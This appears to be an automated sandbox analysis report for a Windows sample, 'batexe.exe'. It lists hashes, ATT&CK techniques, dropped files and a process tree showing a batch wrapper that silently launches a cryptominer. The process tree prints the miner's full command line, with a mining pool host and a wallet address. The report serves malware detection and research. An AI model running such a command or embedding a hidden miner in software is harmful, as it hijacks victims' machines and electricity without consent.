73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 08:17

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3054445511-921769590-4013668107-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3054445511-921769590-4013668107-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4148	b2e.exe
3944	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3944	cpuminer-sse2.exe
3944	cpuminer-sse2.exe
3944	cpuminer-sse2.exe
3944	cpuminer-sse2.exe
3944	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1936-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1936 wrote to memory of 4148	1936	batexe.exe	86
PID 1936 wrote to memory of 4148	1936	batexe.exe	86
PID 1936 wrote to memory of 4148	1936	batexe.exe	86
PID 4148 wrote to memory of 1072	4148	b2e.exe	87
PID 4148 wrote to memory of 1072	4148	b2e.exe	87
PID 4148 wrote to memory of 1072	4148	b2e.exe	87
PID 1072 wrote to memory of 3944	1072	cmd.exe	90
PID 1072 wrote to memory of 3944	1072	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Users\Admin\AppData\Local\Temp\8741.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8741.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8741.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\93B4.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1072
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8741.tmp\b2e.exe

Filesize
8.1MB

MD5
028ae5835f6c4246ebe21d137d86f7df

SHA1
b2e1b22c00bfd03bae1175e7e5fb0add5a08a6f1

SHA256
264bc09a9529c88e6efd5d7aec965edafb2df582756ec8272340207a76f36496

SHA512
a90e56f0cd306dba27deb0607a8b4f89b2fb6d6994ccce74b4263898413847b16596697788c933a4749cc83d0a1f130bbdc25fc662684d4f07270e7d94d9b995

Download Submit
C:\Users\Admin\AppData\Local\Temp\8741.tmp\b2e.exe

Filesize
3.1MB

MD5
bca8c467df66fcb86bc5fd5254816917

SHA1
7e630f497e0f72ed5a6812698ff171ca638f174c

SHA256
cb6746e6dfe3139ec13e762f76e663fa06192d24b0054a384248566d2804c3ab

SHA512
ed1a714e39f36e26eb6b7ff92beb51b5cd6a0440f8ecaf19edc6960b9f015496924080513c4c123adccc075b9c5fa223f5cf2b365a17b8048ed3c50474a99eb1

Download Submit
C:\Users\Admin\AppData\Local\Temp\8741.tmp\b2e.exe

Filesize
2.9MB

MD5
9317cafb85becd9011ca213e7be3a2bc

SHA1
1c84c389734da0532809700191b96dc61527e382

SHA256
644eb7fd5f540a11f942d00b2233e715a40b8548294924fc054db1e08b293090

SHA512
65120a9f1410f4b9350788c5898557be3d3b195f03b3425895748764fc052048f38998bb455cef4f25f748c696821a9a4622c8f09f6ae4603dcd6882be451684

Download Submit
C:\Users\Admin\AppData\Local\Temp\93B4.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.3MB

MD5
ec1c0af627c5e09937b87fb68d244367

SHA1
19f925f931a867c7bc218cadc696e97c4d9e73c6

SHA256
ff30ef64ba22c3ad16a4dcdebf42480f69800bad22eacf31be1be5e69a6e8644

SHA512
aad8993eca64720d98e07434a2006ef771c4a7037c577ea31eb012cc7ea915ca54d473f97a26df18cc15f9b7aadfe20e1c87164785224188db91ee407d4d636d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.1MB

MD5
2926a66c94322cce4389dc8480d8bac1

SHA1
eb2693d856c0341620769abfbdeae353995756b8

SHA256
5fbcb56815cebd7766dda33db1e5b0d6c8818cd553aa23749176f4f6dc9f09ea

SHA512
e7244b2a4b18c264b8956b8c16b90e464e64cfdba9c2b856140e6a0ed62858846ebe49ceeb0bc8a2232e1282081cd24d00c567005074db722c07f31f4d93c0a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.2MB

MD5
3da04e0260580c7eaeaa72daabbb2094

SHA1
885ae19850a3735a27422e00b068144682c42e2f

SHA256
55285c7079d570ffa6fcca0b1a6c8e78c45d02ccf96bc59e0636c248453ce5f7

SHA512
7761039c18a08e7fc6fafa0385d2b3a8b87b624a9f2dc1202bc265b5652217247e3ef3777df9f66370ed926ecc8a8a16522bd52d143db55b6b7c2b1733f9a096

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1936-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3944-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3944-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3944-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3944-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3944-46-0x0000000072E00000-0x0000000072E98000-memory.dmp

Filesize
608KB

Download
memory/3944-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3944-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3944-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3944-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3944-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3944-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3944-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3944-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3944-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3944-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4148-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4148-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download